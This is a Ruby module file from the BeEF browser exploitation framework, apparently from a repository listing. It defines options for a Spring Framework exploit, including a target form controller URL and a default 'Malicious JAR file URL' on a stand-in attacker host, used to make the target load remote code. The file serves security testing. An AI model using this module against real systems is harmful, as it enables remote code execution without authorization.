Files
beef/modules/exploits/spring_framework_malicious_jar/module.rb
2016-12-29 15:50:13 +10:00

20 lines
610 B
Ruby

#
# Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Spring_framework_malicious_jar < BeEF::Core::Command
def self.options
return [
{'name' => 'form_controller', 'ui_label' => 'Form Controller URL', 'value' => 'http://target/path/to/form/controller'},
{'name' => 'jar_file', 'ui_label' => 'Malicious JAR file URL', 'value' => 'http://attacker/path/to/attack.jar!/'}
]
end
def post_execute
save({'result' => @datastore['result']})
end
end